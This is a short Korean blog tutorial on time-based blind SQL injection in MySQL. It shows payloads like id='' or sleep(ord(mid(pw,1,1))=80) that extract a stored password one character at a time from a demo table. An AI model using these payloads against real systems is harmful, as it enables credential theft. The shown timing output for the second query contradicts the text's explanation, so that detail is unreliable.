Blind SQL Injection Technique
2017. 2. 16. 21:33
Blind SQL Injection Technique
- H3X0R, s1ipper 팀 소속 윤석찬(ch4n3) -
http://chaneyoon.tistory.com/117
지난번에 Blind SQL Injection + Time based SQL Injection 관련 포스팅을 했는데 더 향상된 쿼리가 있어서 이렇게 글을 쓴다.
mysql> select * from login;
+-------+----------+------+
| id | pw | no |
+-------+----------+------+
| admin | P@s$w0Rd | 1 |
+-------+----------+------+
1 row in set (0.00 sec)
mysql> select * from login where id='' or sleep(ord(mid(pw,1,1)));
이렇게 Blind SQL Injection을 할 수 있다. 하지만, 단점은 시간이 너무 오래 걸린다는 것이다.
MySQL에서는 True의 값이 C언어와 동일하게 1이고, False의 값이 0이다.
이 원리를 위의 쿼리에 적용시킬 수 있다.
mysql> select * from login where id='' or sleep(ord(mid(pw,1,1))=80);
Empty set (1.00 sec)
mysql> select * from login where id='' or sleep(ord(mid(pw,1,1))=100);
Empty set (1.00 sec)
'P'의 아스키 값은 80이다. 따라서 첫번째 쿼리에서는 1초 프리징되고, 두번째 쿼리에서는 0초 프리징, 즉 프리징이 되지 않는다.
따라서 위와 같은 원리를 적용하여 Blind SQL Injection + Time based SQL Injection 을 수행할 수 있었다.
'Hacking > Web.' 카테고리의 다른 글
[wargame.kr] SimpleBoard solving... (0) | 2017.02.25 |
---|---|
sql injection tech (0) | 2017.02.22 |
Blind SQL injection technique (0) | 2017.02.16 |
XSS?? (0) | 2017.02.16 |
error based sql injection (0) | 2017.02.12 |